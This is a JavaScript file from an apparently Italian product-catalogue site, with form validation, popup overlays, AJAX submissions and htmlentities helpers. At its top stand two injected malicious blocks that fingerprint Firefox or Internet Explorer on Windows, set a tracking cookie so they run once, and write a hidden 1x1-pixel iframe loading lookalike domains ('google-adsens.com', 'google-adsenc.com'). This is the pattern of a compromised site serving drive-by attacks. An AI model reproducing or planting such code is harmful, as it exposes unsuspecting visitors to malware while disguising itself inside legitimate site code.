var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsens.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
// JavaScript Document
function openLink(link){
	window.open(link);
}
function get_html_translation_table(table, quote_style) {
    // Returns the translation table used by htmlspecialchars() and htmlentities()
    // 
    // +    discuss at: http://kevin.vanzonneveld.net/techblog/article/javascript_equivalent_for_phps_get_html_translation_table/
    // +       version: 902.2516
    // +   original by: Philip Peterson
    // +    revised by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
    // +   bugfixed by: noname
    // +   bugfixed by: Alex
    // +   bugfixed by: Marco
    // %          note: It has been decided that we're not going to add global
    // %          note: dependencies to php.js. Meaning the constants are not
    // %          note: real constants, but strings instead. integers are also supported if someone
    // %          note: chooses to create the constants themselves.
    // %          note: Table from http://www.the-art-of-web.com/html/character-codes/
    // *     example 1: get_html_translation_table('HTML_SPECIALCHARS');
    // *     returns 1: {'"': '&quot;', '&': '&amp;', '<': '&lt;', '>': '&gt;'}
    
    var entities = {}, histogram = {}, decimal = 0, symbol = '';
    var constMappingTable = {}, constMappingQuoteStyle = {};
    var useTable = {}, useQuoteStyle = {};
    
    useTable      = (table ? table.toUpperCase() : 'HTML_SPECIALCHARS');
    useQuoteStyle = (quote_style ? quote_style.toUpperCase() : 'ENT_COMPAT');
    
    // Translate arguments
    constMappingTable[0]      = 'HTML_SPECIALCHARS';
    constMappingTable[1]      = 'HTML_ENTITIES';
    constMappingQuoteStyle[0] = 'ENT_NOQUOTES';
    constMappingQuoteStyle[2] = 'ENT_COMPAT';
    constMappingQuoteStyle[3] = 'ENT_QUOTES';
    
    // Map numbers to strings for compatibilty with PHP constants
    if (!isNaN(useTable)) {
        useTable = constMappingTable[useTable];
    }
    if (!isNaN(useQuoteStyle)) {
        useQuoteStyle = constMappingQuoteStyle[useQuoteStyle];
    }
    
    if (useQuoteStyle != 'ENT_NOQUOTES') {
        entities['34'] = '&quot;';
    }

    if (useQuoteStyle == 'ENT_QUOTES') {
        entities['39'] = '&#039;';
    }

    if (useTable == 'HTML_SPECIALCHARS') {
        // ascii decimals for better compatibility
        entities['38'] = '&amp;';
        entities['60'] = '&lt;';
        entities['62'] = '&gt;';
    } else if (useTable == 'HTML_ENTITIES') {
        // ascii decimals for better compatibility
	    entities['38']  = '&amp;';
	    entities['60']  = '&lt;';
	    entities['62']  = '&gt;';
	    entities['160'] = '&nbsp;';
	    entities['161'] = '&iexcl;';
	    entities['162'] = '&cent;';
	    entities['163'] = '&pound;';
	    entities['164'] = '&curren;';
	    entities['165'] = '&yen;';
	    entities['166'] = '&brvbar;';
	    entities['167'] = '&sect;';
	    entities['168'] = '&uml;';
	    entities['169'] = '&copy;';
	    entities['170'] = '&ordf;';
	    entities['171'] = '&laquo;';
	    entities['172'] = '&not;';
	    entities['173'] = '&shy;';
	    entities['174'] = '&reg;';
	    entities['175'] = '&macr;';
	    entities['176'] = '&deg;';
	    entities['177'] = '&plusmn;';
	    entities['178'] = '&sup2;';
	    entities['179'] = '&sup3;';
	    entities['180'] = '&acute;';
	    entities['181'] = '&micro;';
	    entities['182'] = '&para;';
	    entities['183'] = '&middot;';
	    entities['184'] = '&cedil;';
	    entities['185'] = '&sup1;';
	    entities['186'] = '&ordm;';
	    entities['187'] = '&raquo;';
	    entities['188'] = '&frac14;';
	    entities['189'] = '&frac12;';
	    entities['190'] = '&frac34;';
	    entities['191'] = '&iquest;';
	    entities['192'] = '&Agrave;';
	    entities['193'] = '&Aacute;';
	    entities['194'] = '&Acirc;';
	    entities['195'] = '&Atilde;';
	    entities['196'] = '&Auml;';
	    entities['197'] = '&Aring;';
	    entities['198'] = '&AElig;';
	    entities['199'] = '&Ccedil;';
	    entities['200'] = '&Egrave;';
	    entities['201'] = '&Eacute;';
	    entities['202'] = '&Ecirc;';
	    entities['203'] = '&Euml;';
	    entities['204'] = '&Igrave;';
	    entities['205'] = '&Iacute;';
	    entities['206'] = '&Icirc;';
	    entities['207'] = '&Iuml;';
	    entities['208'] = '&ETH;';
	    entities['209'] = '&Ntilde;';
	    entities['210'] = '&Ograve;';
	    entities['211'] = '&Oacute;';
	    entities['212'] = '&Ocirc;';
	    entities['213'] = '&Otilde;';
	    entities['214'] = '&Ouml;';
	    entities['215'] = '&times;';
	    entities['216'] = '&Oslash;';
	    entities['217'] = '&Ugrave;';
	    entities['218'] = '&Uacute;';
	    entities['219'] = '&Ucirc;';
	    entities['220'] = '&Uuml;';
	    entities['221'] = '&Yacute;';
	    entities['222'] = '&THORN;';
	    entities['223'] = '&szlig;';
	    entities['224'] = '&agrave;';
	    entities['225'] = '&aacute;';
	    entities['226'] = '&acirc;';
	    entities['227'] = '&atilde;';
	    entities['228'] = '&auml;';
	    entities['229'] = '&aring;';
	    entities['230'] = '&aelig;';
	    entities['231'] = '&ccedil;';
	    entities['232'] = '&egrave;';
	    entities['233'] = '&eacute;';
	    entities['234'] = '&ecirc;';
	    entities['235'] = '&euml;';
	    entities['236'] = '&igrave;';
	    entities['237'] = '&iacute;';
	    entities['238'] = '&icirc;';
	    entities['239'] = '&iuml;';
	    entities['240'] = '&eth;';
	    entities['241'] = '&ntilde;';
	    entities['242'] = '&ograve;';
	    entities['243'] = '&oacute;';
	    entities['244'] = '&ocirc;';
	    entities['245'] = '&otilde;';
	    entities['246'] = '&ouml;';
	    entities['247'] = '&divide;';
	    entities['248'] = '&oslash;';
	    entities['249'] = '&ugrave;';
	    entities['250'] = '&uacute;';
	    entities['251'] = '&ucirc;';
	    entities['252'] = '&uuml;';
	    entities['253'] = '&yacute;';
	    entities['254'] = '&thorn;';
	    entities['255'] = '&yuml;';
    } else {
        throw Error("Table: "+useTable+' not supported');
        return false;
    }
    
    // ascii decimals to real symbols
    for (decimal in entities) {
        symbol = String.fromCharCode(decimal);
        histogram[symbol] = entities[decimal];
    }
    
    return histogram;
}// }}}

function htmlentities (string, quote_style) {
	// Convert all applicable characters to HTML entities
    // 
    // +    discuss at: http://kevin.vanzonneveld.net/techblog/article/javascript_equivalent_for_phps_htmlentities/
    // +       version: 812.3017
    // +   original by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
    // +    revised by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
    // +   improved by: nobbler
    // +    tweaked by: Jack
    // +   bugfixed by: Onno Marsman
    // +    revised by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
    // -    depends on: get_html_translation_table
    // *     example 1: htmlentities('Kevin & van Zonneveld');
    // *     returns 1: 'Kevin &amp; van Zonneveld'

    var histogram = {}, symbol = '', tmp_str = '', entity = '';
    tmp_str = string.toString();
    
    if (false === (histogram = get_html_translation_table('HTML_ENTITIES', quote_style))) {
        return false;
    }
    
    for (symbol in histogram) {
        entity = histogram[symbol];
        tmp_str = tmp_str.split(symbol).join(entity);
    }
    
    return tmp_str;
}// }}}


function toggleVisibleClass(id){

	if($(id).hasClassName('visible')){
		$(id).removeClassName('visible');
		$(id).addClassName('invisible');
	}
	else if($(id).hasClassName('invisible')){
		$(id).removeClassName('invisible');
		$(id).addClassName('visible');
		
	}
}
function getPageScroll(){

	var yScroll;

	if (self.pageYOffset) {
		yScroll = self.pageYOffset;
	} else if (document.documentElement && document.documentElement.scrollTop){	 // Explorer 6 Strict
		yScroll = document.documentElement.scrollTop;
	} else if (document.body) {// all other Explorers
		yScroll = document.body.scrollTop;
	}

	arrayPageScroll = new Array('',yScroll) 
	return arrayPageScroll;
}
function stampaScheda(pid){
	var url = "scheda_prodotto.php?pid=" + pid;
	window.open (url,"Stampa scheda","status=1, menubar=1, scrollbars=1, width=800,height=600"); 
}
function scaricaScheda(file){
	var url = "/schede/"+file;
	window.open (url,"Pdf","status=1, menubar=1, scrollbars=1, width=800,height=600"); 
}
//
// getPageSize()
// Returns array with page width, height and window width, height
// Core code from - quirksmode.org
// Edit for Firefox by pHaez
//
function getPageSize(){
	
	var xScroll, yScroll;
	
	if (window.innerHeight && window.scrollMaxY) {	
		xScroll = document.body.scrollWidth;
		yScroll = window.innerHeight + window.scrollMaxY;
	} else if (document.body.scrollHeight > document.body.offsetHeight){ // all but Explorer Mac
		xScroll = document.body.scrollWidth;
		yScroll = document.body.scrollHeight;
	} else { // Explorer Mac...would also work in Explorer 6 Strict, Mozilla and Safari
		xScroll = document.body.offsetWidth;
		yScroll = document.body.offsetHeight;
	}
	
	var windowWidth, windowHeight;
	if (self.innerHeight) {	// all except Explorer
		windowWidth = self.innerWidth;
		windowHeight = self.innerHeight;
	} else if (document.documentElement && document.documentElement.clientHeight) { // Explorer 6 Strict Mode
		windowWidth = document.documentElement.clientWidth;
		windowHeight = document.documentElement.clientHeight;
	} else if (document.body) { // other Explorers
		windowWidth = document.body.clientWidth;
		windowHeight = document.body.clientHeight;
	}	
	
	// for small pages with total height less then height of the viewport
	if(yScroll < windowHeight){
		pageHeight = windowHeight;
	} else { 
		pageHeight = yScroll;
	}

	// for small pages with total width less then width of the viewport
	if(xScroll < windowWidth){	
		pageWidth = windowWidth;
	} else {
		pageWidth = xScroll;
	}


	arrayPageSize = new Array(pageWidth,pageHeight,windowWidth,windowHeight) 
	return arrayPageSize;
}
function trovaMisure(){
	var arrayPageSize = getPageSize();	
	var arrayPageScroll = getPageScroll();
	
	$('popup').style.top = (arrayPageScroll[1] + ((arrayPageSize[3] - 500 - 35) / 2) + 'px');
	$('popup').style.left = (((arrayPageSize[2] - 20 - 780) / 2) + 'px');
	$('popup').style.display = 'block';
	$('overlayy').style.height = (arrayPageSize[1] + 'px');
}

function openOverlay(){		$('overlayy').appear();	$('popup').appear();}
function closeOverlay(){	$('overlayy').fade();	$('popup').fade(); $('popup').innerHTML="";	}
function closeOther(){	$('info').innerHTML="";	}

function startInfoProdotto(pid, mode){
	
	if (mode == 'overlay') {
		openOverlay();
		trovaMisure();
		target = 'popup';
	}else{
		target = 'info';
	}
	var url = 'form/info-prodotto.form.php'; //url to processor
	
	new Ajax.Updater(target, url, {
		method: 'post',
		parameters: {
			pid: pid,
			mode:mode
		},
		onComplete: function(){
			if (mode == 'overlay') {
				//annulla
				$('annulla').observe('click', closeOverlay);
			}
			else {
				$('annulla').observe('click', closeOther);
			}//conferma
			$('conferma').observe('click', confermaInfoProdotto);
		}
	});
}
function startSegnalaAmico(pid, mode){
	
	if (mode == 'overlay') {
		openOverlay();
		trovaMisure();
		target = 'popup';
	}else{
		target = 'info';
	}
	var url = 'form/segnala-amico.form.php'; //url to processor
	
	new Ajax.Updater(target, url, {
		method: 'post',
		parameters: {
			pid: pid,
			mode:mode
		},
		onComplete: function(){
			 Sortable.create('thelist1',{
			 	overlap:'horizontal',
				ghosting:false,
				constraint:'horizontal'

			 });
			if (mode == 'overlay') {
				//annulla
				$('annulla').observe('click', closeOverlay);
			}
			else {
				$('annulla').observe('click', closeOther);
			}//conferma
			$('conferma').observe('click', confermaSegnalaAmico);
		}
	});
}
function startContatti(event){
	openOverlay();
	trovaMisure();

	
	target = 'popup';
	var url = 'form/contatti.form.php'; //url to processor
	new Ajax.Updater(target, url, {
		method: 'post',
		onComplete: function(){
			//annulla
			$('annulla').observe('click', closeOverlay);
			//conferma
			$('conferma').observe('click', confermaContatti);
		}
	});
}

function confermaInfoProdotto(event){
	
	error=new Array();
	var error_trans;
	
	/*SVUOTO I MESSAGGI DI ERRORE*/
	$('nome_error').innerHTML='';
	$('cognome_error').innerHTML='';
	$('email_error').innerHTML='';
	$('tel_error').innerHTML='';
	$('controllo_error').innerHTML='';
	/*FINE*/	
	//errori
	//Nome
	var nome= $('nome').value;
	error_trans=controllIsSet(nome, 'nome_error', 'Nome');
	error.push(error_trans);
	//Cognome
	var cognome = $('cognome').value;	
	error_trans=	controllIsSet(cognome, 'cognome_error', 'Cognome');
	error.push(error_trans);
	//Email
	var email = $('email').value;
	error_trans=	controllIsSet(email, 'email_error', 'Email');
	error.push(error_trans);
	var last= error.length - 1; 
	if(error[last]==0){
		error_trans=controllIsMailValid(email, 'email_error');
		error.push(error_trans);
	}
	//Telefono
	var tel = $('tel').value;
	error_trans=	controllIsSet(tel, 'tel_error', 'Telefono');
	error.push(error_trans);
	var last= error.length - 1; 
	if(error[last]==0){
		error_trans=controllIsNumberValid(tel, 'tel_error');
		error.push(error_trans);
	}

	
	//termini e condizioni
	var controllo= $('controllo').checked;
	if(controllo==false) {
      	$('controllo_error').removeClassName('invisible');
		$('controllo_error').innerHTML = "<span class=\"error\">Per inviare la prenotazione devi accettare i <em>Termini e le Condizioni</em></span>";
		Effect.Appear('controllo_error');
		Effect.Fade('controllo_error', {
				delay: 10.1
		});
		error.push(1);
   	}  error.push(0);
	//valore note
	var testo =$('testo').value;
		
		
	//controllo che non ci sia nemmeno un errore nell'array error!
	if (arraySum(error) == 0) {
		//disabilito il bottone invia
		$('conferma_button').innerHTML = '<img src="img/loader.gif" alt="sto inviando la mail" title="Invio prenotazione in corso"/><br/>...un attimo di pazienza';
		var mode = $('mode').value;
		if ( mode== 'overlay') {
			var target = 'popup'; //target div
		}else{
			var target = 'info'; //target div
		}	
		var url = 'form/info-prodotto.sql.php'; 
		var data=  $('info-prodotto').serialize(true);
		new Ajax.Updater(target, url, {
			method: 'post',
			parameters: {
				prodotto_id:$('prodotto_id').value,
				nome: htmlentities(nome),
				cognome: htmlentities(cognome), 
				email: email,
				tel:tel,
				testo:htmlentities(testo)
			},
			onComplete: function(){
				if (mode == 'overlay') {
					$('chiudi').observe('click', closeOverlay);
				}
				else{$('chiudi').observe('click', closeOther);}
			}
		});
	}
	
	
}
function checkString(str, check){
	str1 = str.toUpperCase();
	check1 = check.toUpperCase();
	if (str1.indexOf(check1, 0) < 0) {
		return 1;
	}
	else {
		return 0;
	}
}

function confermaSegnalaAmico(event){
	
	error=new Array();
	var error_trans;
	
	/*SVUOTO I MESSAGGI DI ERRORE*/
	$('nome_mit_error').innerHTML='';
	$('nome_dest_error').innerHTML='';
	$('email_error').innerHTML='';
	/*FINE*/	
	
	//errori
	//Nome
	var nome= $('nome_mit').value;
	error_trans=controllIsSet(nome, 'nome_mit_error', 'Nome mittente');
	error.push(error_trans);
	//Nome
	var nome= $('nome_dest').value;
	error_trans=controllIsSet(nome, 'nome_dest_error', 'Nome destinatario');
	error.push(error_trans);
	
	//Email
	var email = $('email').value;
	error_trans=	controllIsSet(email, 'email_error', 'Email');
	error.push(error_trans);
	var last= error.length - 1; 
	if(error[last]==0){
		error_trans=controllIsMailValid(email, 'email_error');
		error.push(error_trans);
	}
	
	//combinazione
	error_trans=	checkString(Sortable.serialize('thelist1'), $('combination').value);
	error.push(error_trans);
	if(error_trans ==1){
		$('combinazione_error').innerHTML ="Costruisci la combinazione corretta"
	}else {
		$('combinazione_error').innerHTML =""
	}
	//controllo che non ci sia nemmeno un errore nell'array error!
	if (arraySum(error) == 0) {
		//disabilito il bottone invia
		$('conferma_button').innerHTML = '<img src="img/loader.gif" alt="sto inviando la mail" title="Invio pagina"/><br/>...un attimo di pazienza';
		var mode = $('mode').value;
		if ( mode== 'overlay') {
			var target = 'popup'; //target div
		}else{
			var target = 'info'; //target div
		}	
		var url = 'form/segnala-amico.sql.php'; 
		var data=  $('segnala-amico').serialize(true);
		new Ajax.Updater(target, url, {
			method: 'post',
			parameters: {
				prodotto_id:$('prodotto_id').value,
				nome_mit: htmlentities($('nome_mit').value),
				nome_dest: htmlentities($('nome_dest').value), 
				email: email,
				testo:htmlentities($('testo').value)
			},
			onComplete: function(){
				if (mode == 'overlay') {
					$('chiudi').observe('click', closeOverlay);
				}
				else{$('chiudi').observe('click', closeOther);}
			}
		});
	}
}
function confermaContatti(event){
	error=new Array();
	var error_trans;
	
	/*SVUOTO I MESSAGGI DI ERRORE*/
	$('nome_error').innerHTML='';
	$('cognome_error').innerHTML='';
	$('email_error').innerHTML='';
	$('tel_error').innerHTML='';
	$('testo_error').innerHTML='';
	$('controllo_error').innerHTML='';
	/*FINE*/	
	//errori
	//Nome
	var nome= $('nome').value;
	error_trans=controllIsSet(nome, 'nome_error', 'Nome');
	error.push(error_trans);
	//Cognome
	var cognome = $('cognome').value;	
	error_trans=	controllIsSet(cognome, 'cognome_error', 'Cognome');
	error.push(error_trans);
	//Email
	var email = $('email').value;
	error_trans=	controllIsSet(email, 'email_error', 'Email');
	error.push(error_trans);
	var last= error.length - 1; 
	if(error[last]==0){
		error_trans=controllIsMailValid(email, 'email_error');
		error.push(error_trans);
	}
	//Telefono
	var tel = $('tel').value;
	error_trans=	controllIsSet(tel, 'tel_error', 'Telefono');
	error.push(error_trans);
	var last= error.length - 1; 
	if(error[last]==0){
		error_trans=controllIsNumberValid(tel, 'tel_error');
		error.push(error_trans);
	}
	//messaggio
	var nome= $('testo').value;
	error_trans=controllIsSet(nome, 'testo_error', 'Messaggio');
	error.push(error_trans);
	
	//termini e condizioni
	var controllo= $('controllo').checked;
	if(controllo==false) {
      	$('controllo_error').removeClassName('invisible');
		$('controllo_error').innerHTML = "<span class=\"error\">Per inviare la prenotazione devi accettare i <em>Termini e le Condizioni</em></span>";
		Effect.Appear('controllo_error');
		Effect.Fade('controllo_error', {
				delay: 10.1
		});
		error.push(1);
   	}  error.push(0);
	//valore note
	
		
		
	//controllo che non ci sia nemmeno un errore nell'array error!
	if (arraySum(error) == 0) {
		//disabilito il bottone invia
		$('conferma_button').innerHTML = '<img src="img/loader.gif" alt="sto inviando la mail" title="Invio prenotazione in corso"/><br/>...un attimo di pazienza';
		var target = 'popup'; //target div
		var url = 'form/contatti.sql.php'; 
		var data=  $('contatti').serialize(true);
		new Ajax.Updater(target, url, {
			method: 'post',
			parameters: data,
			onComplete: function(){
				$('chiudi').observe('click', closeOverlay);
			}
		});
	}
	
	
}
function initInstruments(){

	externalLinks();
	//addButtonEvent();
}

